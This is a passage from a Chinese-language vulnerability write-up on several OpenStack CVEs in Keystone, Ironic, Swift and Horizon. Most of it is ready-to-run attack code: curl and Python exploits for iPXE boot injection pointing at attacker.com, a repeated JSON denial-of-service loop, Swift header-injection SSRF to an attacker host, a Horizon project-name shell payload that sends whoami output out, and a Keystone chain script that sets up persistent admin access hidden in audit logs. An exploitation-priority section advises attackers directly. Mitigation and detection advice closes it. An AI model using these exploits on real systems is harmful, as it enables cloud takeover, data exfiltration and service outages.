  name: OpenStack Ironic IPMI Command Injection
  author: security-researcher
  severity: high
  description: |
    Ironic send_raw step bypasses access controls, allowing arbitrary
    IPMI commands to be sent to bare metal nodes via BMC.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 8.2
    cwe-id: CWE-862
  metadata:
    product: ironic
    vendor: openstack
  tags: openstack,ironic,ipmi,command-injection,cve2026

http:
  - raw:
      - |
        GET /v1/nodes HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}

      - |
        POST /v1/nodes/{{node_uuid}}/vendor/passthru/send_raw HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"raw_bytes":"3006010304000000"}

    matchers-condition: and
    matchers:
      - type: status
        part: body_1
        status:
          - 200

      - type: status
        part: body_2
        status:
          - 200
          - 202

0x02.2 CVE-2026-46447 — iPXE 启动脚本注入(CVSS 5.8)

漏洞背景

CVE-2026-46447 存在于 Ironic 的 iPXE 启动流程中。当裸金属节点通过 iPXE 网络引导时,Ironic 会根据节点的 driver_infoinstance_info 生成 iPXE 启动脚本。该漏洞允许具有 Ironic 管理员权限的攻击者修改这些字段,注入恶意 iPXE 脚本,在节点启动过程中执行任意代码。

受影响版本

受影响版本修复版本备注
OpenStack Ironic < 35.0.2Ironic 35.0.2使用 iPXE 的部署配置

漏洞原理分析

iPXE 脚本注入流程:

  1. Ironic 的 PXE/iPXE 驱动在节点注册时接受 driver_infoinstance_info 字段
  2. bootfile_namepxe_append_params 等字段用于生成 iPXE 启动脚本
  3. Ironic 未对这些字段的值进行充分的输入验证和过滤
  4. 攻击者修改 node.driver_info.pxe_append_params 为包含恶意脚本的值
  5. 当目标节点重新启动或重新部署时,iPXE 加载被注入的脚本
  6. 恶意脚本可在 Pre-OS 环境中执行,窃取部署凭据、安装持久化后门

HTTP PoC

# 修改节点的 PXE 启动参数,注入恶意 iPXE 脚本
curl -s -X PATCH "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "driver_info": {
      "pxe_append_params": "initrd=http://attacker.com/evil.ipxe && boot"
    }
  }'

# 或注入到 instance_info
curl -s -X PATCH "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "instance_info": {
      "kernel_append_params": "quiet splash init=/bin/bash"
    }
  }'

# 触发节点重新部署
curl -s -X PUT "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/provision" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"target": "rebuild"}'

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json

class IronicIPXEScriptInjection:
    def __init__(self, ironic_url, token):
        self.ironic_url = ironic_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {"X-Auth-Token": self.token, "Content-Type": "application/json"}

    def inject_pxe_params(self, node_uuid, malicious_params):
        payload = {
            "driver_info": {
                "pxe_append_params": malicious_params
            }
        }
        r = self.session.patch(
            f"{self.ironic_url}/v1/nodes/{node_uuid}",
            json=payload,
            headers=self._headers()
        )
        if r.status_code == 200:
            print(f"[+] PXE parameters injected into node {node_uuid}")
            return True
        print(f"[-] Injection failed: {r.status_code} - {r.text[:200]}")
        return False

    def trigger_rebuild(self, node_uuid):
        r = self.session.put(
            f"{self.ironic_url}/v1/nodes/{node_uuid}/provision",
            json={"target": "rebuild"},
            headers=self._headers()
        )
        if r.status_code in (200, 202):
            print(f"[+] Rebuild triggered for node {node_uuid}")
            return True
        print(f"[-] Rebuild failed: {r.status_code}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <ironic_url> <auth_token> <node_uuid> [malicious_pxe_params]")
        sys.exit(1)

    exploit = IronicIPXEScriptInjection(sys.argv[1], sys.argv[2])
    pxe_params = sys.argv[4] if len(sys.argv) > 4 else "quiet splash init=/bin/sh"
    exploit.inject_pxe_params(sys.argv[3], pxe_params)
    exploit.trigger_rebuild(sys.argv[3])

Nuclei 检测模板

id: openstack-ironic-cve-2026-46447
info:
  name: OpenStack Ironic iPXE Script Injection
  author: security-researcher
  severity: medium
  description: |
    Attackers can modify node.driver_info or node.instance_info to inject
    malicious iPXE boot scripts during the boot process.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 5.8
    cwe-id: CWE-20
  metadata:
    product: ironic
    vendor: openstack
  tags: openstack,ironic,ipxe,boot-script,cve2026

http:
  - raw:
      - |
        PATCH /v1/nodes/{{node_uuid}} HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"driver_info":{"pxe_append_params":"test_injection_check"}}

    matchers:
      - type: status
        status:
          - 200
          - 400
          - 403

0x02.3 CVE-2026-50589 — 未认证 JSON DoS(CVSS 5.3)

漏洞背景

CVE-2026-50589 是一个未认证拒绝服务漏洞,影响 Ironic 的 API 和 JSON-RPC 服务。攻击者无需任何凭据,仅需向 Ironic API 发送特制的 JSON 字符串即可导致服务崩溃。该漏洞利用了 Ironic JSON 解析器中的缺陷。

受影响版本

受影响版本修复版本备注
OpenStack Ironic 32.x - 36.xIronic 37.0.0影响 API 和 JSON-RPC 服务

漏洞原理分析

  1. Ironic API 端点(默认 6385 端口)和内部 JSON-RPC 通信使用 JSON 解析器
  2. 特制的 JSON 字符串(如深层嵌套、异常编码或畸形 UTF-8 序列)可触发解析器异常
  3. 该异常未被正确捕获,导致 Ironic API 进程崩溃
  4. 攻击者反复发送恶意请求可导致 Ironic 持续不可用
  5. Ironic 不可用意味着所有裸金属管理操作(部署、重装、电源管理)中断

HTTP PoC

# 向 Ironic API 发送畸形 JSON 导致崩溃
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "Content-Type: application/json" \
  -d '{"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":' \
  --max-time 5

# 发送深层嵌套 JSON
python3 -c "
import json
depth = 10000
nested = 'a'
for _ in range(depth):
    nested = '{"a":' + nested + '}'
print(nested)
" | curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "Content-Type: application/json" \
  -d @- --max-time 5

# 发送包含非法 UTF-8 编码的 JSON
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "Content-Type: application/json" \
  -d $'\x80\x81\x82\x83' --max-time 5

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json
import time
import threading

class IronicJsonDoS:
    def __init__(self, ironic_url):
        self.ironic_url = ironic_url.rstrip('/')
        self.session = requests.Session()

    def check_alive(self):
        try:
            r = self.session.get(f"{self.ironic_url}/v1/nodes", timeout=5)
            return r.status_code == 200
        except Exception:
            return False

    def send_malformed_json(self, payload, label=""):
        try:
            headers = {"Content-Type": "application/json"}
            if isinstance(payload, bytes):
                r = requests.post(
                    f"{self.ironic_url}/v1/nodes",
                    data=payload,
                    headers=headers,
                    timeout=5
                )
            else:
                r = requests.post(
                    f"{self.ironic_url}/v1/nodes",
                    data=payload,
                    headers=headers,
                    timeout=5
                )
            print(f"[+] {label}: Status {r.status_code}")
            return r.status_code
        except requests.exceptions.Timeout:
            print(f"[+] {label}: Timeout (service may be down)")
            return 504
        except Exception as e:
            print(f"[-] {label}: {e}")
            return 0

    def truncated_json(self):
        return self.send_malformed_json(
            '{"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":',
            "Truncated JSON"
        )

    def deep_nesting(self):
        depth = 10000
        payload = "a"
        for _ in range(depth):
            payload = '{"a":' + payload + '}'
        return self.send_malformed_json(payload, "Deep nesting")

    def invalid_utf8(self):
        payload = b'\x80\x81\x82\x83\xfe\xff'
        return self.send_malformed_json(payload, "Invalid UTF-8")

    def run_dos(self, iterations=10):
        print(f"[*] Checking initial Ironic status...")
        alive = self.check_alive()
        print(f"    Ironic alive: {alive}")

        if not alive:
            print("[-] Ironic already down, aborting")
            return

        for i in range(iterations):
            print(f"\n--- Iteration {i+1} ---")
            self.truncated_json()
            time.sleep(0.5)
            self.deep_nesting()
            time.sleep(0.5)
            self.invalid_utf8()
            time.sleep(1)

            if not self.check_alive():
                print(f"\n[!] Ironic is DOWN after {i+1} iterations!")
                return

        print("\n[*] Completed all iterations, checking final status...")
        print(f"    Ironic alive: {self.check_alive()}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ironic_url> [iterations]")
        sys.exit(1)

    exploit = IronicJsonDoS(sys.argv[1])
    iters = int(sys.argv[2]) if len(sys.argv) > 2 else 10
    exploit.run_dos(iters)

Nuclei 检测模板

id: openstack-ironic-cve-2026-50589
info:
  name: OpenStack Ironic Unauthenticated JSON DoS
  author: security-researcher
  severity: medium
  description: |
    Malformed JSON strings can crash Ironic API/JSON-RPC services
    without authentication.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 5.3
    cwe-id: CWE-20
  metadata:
    product: ironic
    vendor: openstack
  tags: openstack,ironic,dos,cve2026

http:
  - raw:
      - |
        POST /v1/nodes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 400
          - 500
          - 000

    extractors:
      - type: dsl
        dsl:
          - '"Status: " + status_code + " (potential crash"'

0x03 Swift 与 Horizon 漏洞

0x03.1 CVE-2026-50221 — 内部头注入 SSRF(CVSS 6.4)

漏洞背景

CVE-2026-50221 存在于 OpenStack Swift 的 proxy-server 组件中。Swift 使用内部更新头(Internal Update Headers)在 proxy-server 和 storage nodes 之间传递元数据,如 X-Container-HostX-Container-DeviceX-Object-Manifest 等。该漏洞的核心问题是:proxy-server 未剥离来自客户端请求中的这些内部更新头,允许攻击者通过注入这些头将请求重定向到攻击者控制的服务器。

受影响版本

受影响版本修复版本备注
OpenStack Swift < 2.37.2Swift 2.37.2proxy-server 组件

漏洞原理分析

Swift 内部头注入的攻击流程:

  1. Swift proxy-server 在处理对象上传/下载请求时,会读取请求中的 X-Container-*
  2. 这些头用于告知 proxy-server 目标存储节点的位置
  3. proxy-server 未验证这些头是否来自合法的内部组件
  4. 攻击者在 PUT/GET 请求中注入 X-Container-Host: attacker.com:8080
  5. proxy-server 将请求重定向到攻击者控制的服务器
  6. 攻击者可以:
    • 拦截并读取集群元数据
    • 如果 Swift 配置了加密(at-rest encryption),截获加密密钥
    • 创建 “ghost listings” — 在对象列表中注入虚假条目

HTTP PoC

# 获取 Swift Token
export SWIFT_TOKEN=$(openstack token issue -c id -f value)
export SWIFT_URL="http://<SWIFT_HOST>:8080/v1/AUTH_<PROJECT_ID>"

# Step 1: 正常上传一个对象
curl -s -X PUT "${SWIFT_URL}/container/object.txt" \
  -H "X-Auth-Token: ${SWIFT_TOKEN}" \
  -d "sensitive_data"

# Step 2: 注入内部头,将后续请求重定向到攻击者服务器
curl -s -X PUT "${SWIFT_URL}/container/object.txt" \
  -H "X-Auth-Token: ${SWIFT_TOKEN}" \
  -H "X-Container-Host: <ATTACKER_IP>:9999" \
  -H "X-Container-Device: 1" \
  -d "sensitive_data_leaked_to_attacker"

# Step 3: 在攻击者服务器上监听
nc -lvnp 9999

# Step 4: 创建 ghost listing
curl -s -X PUT "${SWIFT_URL}/container/ghost.txt" \
  -H "X-Auth-Token: ${SWIFT_TOKEN}" \
  -H "X-Object-Manifest: <ATTACKER_IP>:9999/fake" \
  -d ""

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json

class SwiftHeaderInjectionSSRF:
    def __init__(self, swift_url, token):
        self.swift_url = swift_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {"X-Auth-Token": self.token}

    def create_container(self, container_name):
        r = self.session.put(
            f"{self.swift_url}/{container_name}",
            headers=self._headers()
        )
        if r.status_code in (201, 202, 204):
            print(f"[+] Container created: {container_name}")
            return True
        print(f"[-] Container creation failed: {r.status_code}")
        return False

    def inject_header_redirect(self, container, obj_name, attacker_host, attacker_port):
        headers = self._headers()
        headers.update({
            "X-Container-Host": f"{attacker_host}:{attacker_port}",
            "X-Container-Device": "1",
            "Content-Type": "application/octet-stream"
        })
        r = self.session.put(
            f"{self.swift_url}/{container}/{obj_name}",
            headers=headers,
            data="SSRF_payload_data"
        )
        print(f"[+] Injected header redirect, status: {r.status_code}")
        return r.status_code

    def inject_ghost_listing(self, container, obj_name, attacker_host, attacker_port):
        headers = self._headers()
        headers.update({
            "X-Object-Manifest": f"{attacker_host}:{attacker_port}/fake/container",
            "Content-Length": "0"
        })
        r = self.session.put(
            f"{self.swift_url}/{container}/{obj_name}",
            headers=headers,
            data=""
        )
        print(f"[+] Ghost listing injected, status: {r.status_code}")
        return r.status_code

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <swift_url> <auth_token> <attacker_host> [attacker_port]")
        sys.exit(1)

    exploit = SwiftHeaderInjectionSSRF(sys.argv[1], sys.argv[2])
    port = int(sys.argv[4]) if len(sys.argv) > 4 else 9999
    exploit.create_container("ssrf_test")
    exploit.inject_header_redirect("ssrf_test", "test.txt", sys.argv[3], port)
    exploit.inject_ghost_listing("ssrf_test", "ghost.txt", sys.argv[3], port)

Nuclei 检测模板

id: openstack-swift-cve-2026-50221
info:
  name: OpenStack Swift Internal Header SSRF
  author: security-researcher
  severity: medium
  description: |
    Swift proxy-server does not strip internal update headers from
    client requests, enabling SSRF and data exfiltration.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.4
    cwe-id: CWE-918
  metadata:
    product: swift
    vendor: openstack
  tags: openstack,swift,ssrf,header-injection,cve2026

http:
  - raw:
      - |
        PUT /v1/AUTH_test/ssrf_test/testobj HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        X-Container-Host: {{interactsh-url}}
        X-Container-Device: 1

        test

    matchers:
      - type: status
        status:
          - 201
          - 202
          - 204
          - 400

    extractors:
      - type: dsl
        dsl:
          - '"Header injection status: " + status_code'

0x03.2 CVE-2026-55748 — Horizon Shell 元字符注入(CVSS 6.0)

漏洞背景

CVE-2026-55748 存于 OpenStack Horizon 的 RC 文件下载功能中。Horizon 允许用户下载 OpenStack RC 文件(openrc 文件),该文件包含环境变量和 openstack CLI 认证命令。问题在于 RC 文件下载脚本中项目名(project name)直接拼接进 shell 命令,未进行转义或过滤,导致项目名中包含的 shell 元字符会被执行。

受影响版本

受影响版本修复版本备注
OpenStack Horizon < 25.7.4Horizon 25.7.4RC 文件下载功能

漏洞原理分析

Horizon RC 文件注入流程:

  1. 用户在 Horizon Dashboard 中点击 “Download RC File” 获取 openrc 文件
  2. Horizon 生成的 RC 文件包含类似 export OS_PROJECT_NAME="<project_name>" 的行
  3. project_name 包含 shell 元字符(如 $(cmd)`cmd`; cmd)时
  4. 用户在终端 source openrc 时,这些元字符会被 bash 执行
  5. 攻击者预先创建名称包含恶意命令的项目,等待其他用户下载 RC 文件

利用场景:

  • 创建名为 test; curl attacker.com/$(whoami | base64) 的项目
  • 管理员下载该项目的 RC 文件
  • 管理员执行 source openrc,恶意命令被执行

HTTP PoC

# Step 1: 创建包含 shell 元字符的恶意项目名
openstack project create 'test; whoami > /tmp/pwned'

# Step 2: 通过 Horizon API 下载该项目的 RC 文件
curl -s -X GET "http://<HORIZON_HOST>/project/api_access/openrc/" \
  -H "X-Auth-Token: <ADMIN_TOKEN>" \
  -d "project=<MALICIOUS_PROJECT_ID>" \
  -o openrc_malicious.sh

# 检查生成的 RC 文件
cat openrc_malicious.sh
# 输出: export OS_PROJECT_NAME="test; whoami > /tmp/pwned"

# Step 3: 模拟用户执行(仅测试环境)
# source openrc_malicious.sh  ← 这将执行 whoami > /tmp/pwned

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import re

class HorizonShellInjection:
    def __init__(self, horizon_url, session_cookie=None):
        self.horizon_url = horizon_url.rstrip('/')
        self.session = requests.Session()
        if session_cookie:
            self.session.cookies.set("sessionid", session_cookie)

    def create_malicious_project(self, keystone_url, token, payload_cmd):
        malicious_name = f'test; {payload_cmd}'
        r = self.session.post(
            f"{keystone_url}/v3/projects",
            headers={"X-Auth-Token": token, "Content-Type": "application/json"},
            json={
                "project": {
                    "name": malicious_name,
                    "domain_id": "default",
                    "description": "legit project"
                }
            }
        )
        if r.status_code in (201, 202):
            project_id = r.json().get("project", {}).get("id")
            print(f"[+] Malicious project created: {malicious_name} (ID: {project_id})")
            return project_id
        print(f"[-] Project creation failed: {r.status_code}")
        return None

    def download_rc_file(self, project_id, auth_token):
        r = self.session.get(
            f"{self.horizon_url}/project/api_access/openrc/",
            headers={"X-Auth-Token": auth_token},
            params={"project": project_id}
        )
        if r.status_code == 200:
            rc_content = r.text
            print(f"[+] RC file downloaded ({len(rc_content)} bytes)")
            if any(c in rc_content for c in ["$", "`", ";"]):
                print("[!] WARNING: RC file contains shell metacharacters!")
            lines = [l for l in rc_content.split('\n') if 'OS_PROJECT_NAME' in l]
            for line in lines:
                print(f"    {line.strip()}")
            return rc_content
        print(f"[-] RC download failed: {r.status_code}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <horizon_url> <keystone_url> <auth_token> [payload_cmd]")
        sys.exit(1)

    cmd = sys.argv[4] if len(sys.argv) > 4 else "curl http://attacker.com/$(whoami)"
    exploit = HorizonShellInjection(sys.argv[1])
    proj_id = exploit.create_malicious_project(sys.argv[2], sys.argv[3], cmd)
    if proj_id:
        exploit.download_rc_file(proj_id, sys.argv[3])

Nuclei 检测模板

id: openstack-horizon-cve-2026-55748
info:
  name: OpenStack Horizon RC File Shell Injection
  author: security-researcher
  severity: medium
  description: |
    Horizon RC file download embeds project names without escaping,
    allowing shell metacharacter injection when sourced.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.0
    cwe-id: CWE-78
  metadata:
    product: horizon
    vendor: openstack
  tags: openstack,horizon,shell-injection,cve2026

http:
  - raw:
      - |
        GET /project/api_access/openrc/?project=test HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "OS_PROJECT_NAME"
          - "export"
        condition: and

    extractors:
      - type: regex
        regex:
          - "export OS_PROJECT_NAME=\"(.+?)\""

0x04 Keystone 漏洞链利用分析

完整攻击链:从 Member 角色到管理员控制面

CVE-2026-42998 和 CVE-2026-43000 可以串联为一条完整的权限提升攻击链,从一个仅有 Member 角色的普通用户出发,最终获得管理员级别的持久化访问权限。以下为完整攻击链分析。

攻击前提

  • 攻击者已获得 OpenStack 普通用户(Member 角色)的认证凭据
  • 目标管理员用户至少创建过一个应用凭据
  • Keystone 版本 < 29.0.2

攻击步骤

Phase 1: 侦察
├── 枚举所有应用凭据(可能通过 CVE-2026-42999 获取)
├── 识别管理员用户的应用凭据 ID 和 Secret
└── 获取管理员的 user_id

Phase 2: 冒充(CVE-2026-42998)
├── 使用管理员应用凭据构造认证请求
├── 获取管理员 Token(有效期默认 1 小时)
└── 验证 Token 权限

Phase 3: 持久化(CVE-2026-43000)
├── 使用冒充的管理员 Token 创建 Trust
├── 将攻击者账户设为 Trustee
├── 授予 admin 角色
├── 设置 allow_redelegation=true, expires_at=null
└── 兑换 Trust Token → 永久管理员访问

Phase 4: 隐蔽操作
├── 所有后续操作审计日志显示为 admin_user
├── 可创建新的应用凭据用于日常操作
└── Trust 可随时刷新,无需再次利用漏洞

自动化利用脚本

#!/usr/bin/env python3
import requests
import sys
import json

class KeystoneFullChain:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def app_cred_impersonate(self, app_cred_id, app_cred_secret, target_project_id):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["application_credential"],
                    "application_credential": {
                        "id": app_cred_id,
                        "secret": app_cred_secret
                    }
                },
                "scope": {"project": {"id": target_project_id}}
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            user = r.json().get("token", {}).get("user", {})
            roles = [r.get("name") for r in r.json().get("token", {}).get("roles", [])]
            print(f"[+] Impersonated user: {user.get('name')}, roles: {roles}")
            return token
        print(f"[-] Impersonation failed: {r.status_code}")
        return None

    def create_persistent_trust(self, impersonated_token, attacker_user_id):
        payload = {
            "trustee_user_id": attacker_user_id,
            "impersonation": False,
            "remaining_uses": None,
            "allow_redelegation": True,
            "roles": [{"name": "admin"}, {"name": "member"}],
            "expires_at": None
        }
        r = self.session.post(
            f"{self.auth_url}/v3/OS-TRUST/trusts",
            json=payload,
            headers={"X-Auth-Token": impersonated_token, "Content-Type": "application/json"}
        )
        if r.status_code == 201:
            trust = r.json().get("trust", {})
            print(f"[+] Persistent trust created: {trust['id']}")
            return trust["id"]
        print(f"[-] Trust creation failed: {r.status_code} - {r.text[:200]}")
        return None

    def redeem_trust(self, trust_id, trustee_token):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["token"],
                    "token": {"id": trustee_token}
                },
                "OS-TRUST:trust_id": trust_id
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            roles = [r.get("name") for r in r.json().get("token", {}).get("roles", [])]
            print(f"[+] Trust redeemed, roles: {roles}")
            return token
        print(f"[-] Redemption failed: {r.status_code}")
        return None

    def execute_full_chain(self, app_cred_id, app_cred_secret, target_project_id, attacker_user_id, trustee_token):
        print("[*] === Phase 1: App Credential Impersonation ===")
        admin_token = self.app_cred_impersonate(app_cred_id, app_cred_secret, target_project_id)
        if not admin_token:
            return False

        print("\n[*] === Phase 2: Persistent Trust Creation ===")
        trust_id = self.create_persistent_trust(admin_token, attacker_user_id)
        if not trust_id:
            return False

        print("\n[*] === Phase 3: Trust Redemption ===")
        persistent_token = self.redeem_trust(trust_id, trustee_token)
        if not persistent_token:
            return False

        print("\n[*] === Attack Chain Complete ===")
        print(f"    Trust ID: {trust_id}")
        print(f"    Persistent Token: {persistent_token[:32]}...")
        print("    All future operations will appear as admin_user in audit logs")
        return True

if __name__ == "__main__":
    if len(sys.argv) < 6:
        print(f"Usage: {sys.argv[0]} <auth_url> <app_cred_id> <app_cred_secret> <target_project_id> <attacker_user_id> <attacker_trustee_token>")
        sys.exit(1)

    chain = KeystoneFullChain(sys.argv[1])
    chain.execute_full_chain(sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6])

0x05 公开 PoC 收集情况与利用思路

截至 2026 年 7 月,本专题覆盖的 9 个 CVE 的公开 PoC 和利用情况如下:

已验证利用条件

CVE利用难度公开 PoC自动化工具实战可用性
CVE-2026-42998概念验证手动
CVE-2026-42999概念验证手动
CVE-2026-43000中(需链式利用)本文提供本文提供高(链式)
CVE-2026-44394中(需联邦认证)概念验证手动
CVE-2026-54423本文提供本文提供极高
CVE-2026-50589极低(未认证)本文提供本文提供
CVE-2026-46447高(需管理员)概念验证手动
CVE-2026-50221本文提供本文提供
CVE-2026-55748低(需社工)本文提供本文提供

利用思路总结

  1. Keystone 攻击优先级最高:由于 Keystone 是整个 OpenStack 的认证中枢,4 个 Keystone 漏洞的组合利用价值远超单个漏洞。建议攻击者优先尝试 CVE-2026-42998 获取管理员 Token,再串联 CVE-2026-43000 实现持久化。

  2. Ironic 的物理层攻击面:CVE-2026-54423 可以直接影响物理服务器的电源和启动流程,攻击价值极高。在裸金属云环境中,此漏洞可被用于物理拒绝服务或供应链攻击(修改启动镜像)。

  3. Swift SSRF 用于横向移动:CVE-2026-50221 的 SSRF 能力可用于探测内部网络、访问其他 OpenStack 服务的管理端点,甚至获取加密密钥。

  4. Horizon Shell 注入适合 APT 场景:CVE-2026-55748 虽然需要社会工程学配合,但在针对性攻击中非常有效——只需等待目标用户下载并 source 恶意 RC 文件。


0x06 共性攻击模式分析

6.1 输入验证缺失

多个漏洞(CVE-2026-42999、CVE-2026-46447、CVE-2026-55748)的根源都是未对用户输入进行充分的验证和过滤。Keystone 将 JSON Body 中的字段盲目合并到策略上下文,Ironic 未验证 PXE 参数,Horizon 未转义项目名中的 shell 元字符。

6.2 内外部信任边界模糊

CVE-2026-50221(Swift)和 CVE-2026-54423(Ironic)都涉及内部通信机制被外部用户滥用。Swift 的 X-Container-Host 头设计用于 proxy-server 与 storage node 之间的内部通信,Ironic 的 send_raw 步骤设计用于内部 IPMI 命令发送——两者都未对外部请求进行充分的边界检查。

6.3 认证与授权检查不一致

CVE-2026-42998(应用凭据冒充)和 CVE-2026-43000(Trust 权限提升)都反映了 Keystone 在不同认证路径上的安全检查标准不一致。密码认证路径有完善的用户绑定检查,但应用凭据路径缺失了这一环节;Trust 创建时检查数据库角色而非 Token 角色,进一步加剧了不一致性。

6.4 生命周期管理缺陷

CVE-2026-44394(Token 永不过期)揭示了 Token 在生命周期管理(创建→使用→续期→过期)中的状态传递缺陷。Rescoping 操作本质上是创建新的 Token,但未继承原始 Token 的约束条件。


0x07 应急排查与防守建议

7.1 紧急升级路径

组件修复版本紧急程度升级优先级
Keystone29.0.2+P0 — 立即升级
Ironic37.0.1+P0 — 立即升级
Swift2.37.2+P1 — 24 小时内
Horizon25.7.4+P1 — 24 小时内

7.2 缓解措施(升级前)

# 1. 禁用或限制应用凭据功能(缓解 CVE-2026-42998, CVE-2026-43000)
# 在 /etc/keystone/keystone.conf 中禁用应用凭据
[application_credential]
disable = True

# 2. 禁用 Ironic 的 send_raw passthru(缓解 CVE-2026-54423)
# 在 /etc/ironic/ironic.conf 中禁用 passthru
[deploy]
send_raw_enabled = false

# 3. 限制 Swift proxy-server 的头接受范围(缓解 CVE-2026-50221)
# 在 /etc/swift/proxy-server.conf 中配置 header 过滤
[filter:sanitize]
use = egg:swift#sanitize
set headers_to_remove = X-Container-Host,X-Container-Device,X-Object-Manifest

# 4. 限制 Horizon 下载 RC 文件的权限(缓解 CVE-2026-55748)
# 仅允许已认证用户下载自己的 RC 文件

7.3 检测与监控

# Keystone Token 异常检测
# 监控大量应用凭据认证请求
grep "application_credential" /var/log/keystone/keystone.log | \
  awk '{print $1, $4}' | sort | uniq -c | sort -rn | head -20

# 监控异常 Trust 创建
grep "OS-TRUST/trusts" /var/log/keystone/keystone.log | \
  grep POST | awk '{print $NF}' | sort | uniq -c | sort -rn

# Ironic 异常 IPMI 命令检测
grep "send_raw" /var/log/ironic/ironic-api.log | \
  awk '{print $1, $2, $5}' | sort | uniq -c | sort -rn

# Swift 内部头注入检测
grep -E "X-Container-Host|X-Object-Manifest" /var/log/swift/proxy-server.log

# Horizon RC 文件下载审计
grep "api_access/openrc" /var/log/horizon/horizon.log

7.4 长期安全加固

  1. 实施 RBAC 最小权限原则:限制普通用户对 Ironic、Swift 等服务的直接 API 访问
  2. 启用 Keystone 审计中间件:记录所有认证和授权操作到集中的审计系统
  3. 网络分段:将 Keystone、Ironic API、Swift proxy-server 隔离到独立的管理 VLAN
  4. 定期轮换应用凭据:设置应用凭据的自动过期策略(最长 30 天)
  5. 部署 WAF 规则:在 Keystone API 前部署 WAF,检测和拦截 JSON 注入和畸形请求
  6. IPMI 网络隔离:将 BMC/IPMI 管理网络与业务网络完全隔离,限制 Ironic Conductor 的访问范围

0x08 参考资料

  1. OSSA-2026-015: Keystone 批量漏洞安全公告 — OpenStack 官方安全公告,覆盖 CVE-2026-42998/42999/43000/44394 的完整披露信息。

  2. CVE-2026-42998 — NVD 数据库条目 — Keystone 应用凭据冒充认证绕过漏洞的 NVD 详细信息,CVSS 6.0。

  3. CVE-2026-54423 — NVD 数据库条目 — Ironic 任意 IPMI 命令注入漏洞的 NVD 详细信息,CVSS 8.2。

  4. OpenStack Keystone Application Credentials 官方文档 — 应用凭据功能的官方设计文档和使用说明。

  5. OpenStack Ironic IPMI 驱动文档 — Ironic IPMI 管理接口的官方文档,包含 send_raw 机制说明。

  6. OpenStack Swift Security Guide — Swift 安全最佳实践指南,包含 proxy-server 头过滤配置。

  7. oslo.policy 安全模型 — Keystone 使用的策略引擎 oslo.policy 的安全模型和配置指南。

  8. OpenStack Token 生命周期管理 — Keystone Token 的创建、验证、续期和过期机制的官方文档。

  9. CVE-2026-46447 — Ironic iPXE 启动脚本注入 — Ironic iPXE 启动流程安全缺陷的详细分析。

  10. OpenStack Horizon 安全配置指南 — Horizon Dashboard 的安全配置和最佳实践。


免责声明:本文所有 PoC 代码和 Nuclei 检测模板仅供安全研究和授权渗透测试使用。未经授权对他人系统实施攻击属于违法行为。请在获得书面授权后方可使用本文提供的技术方法。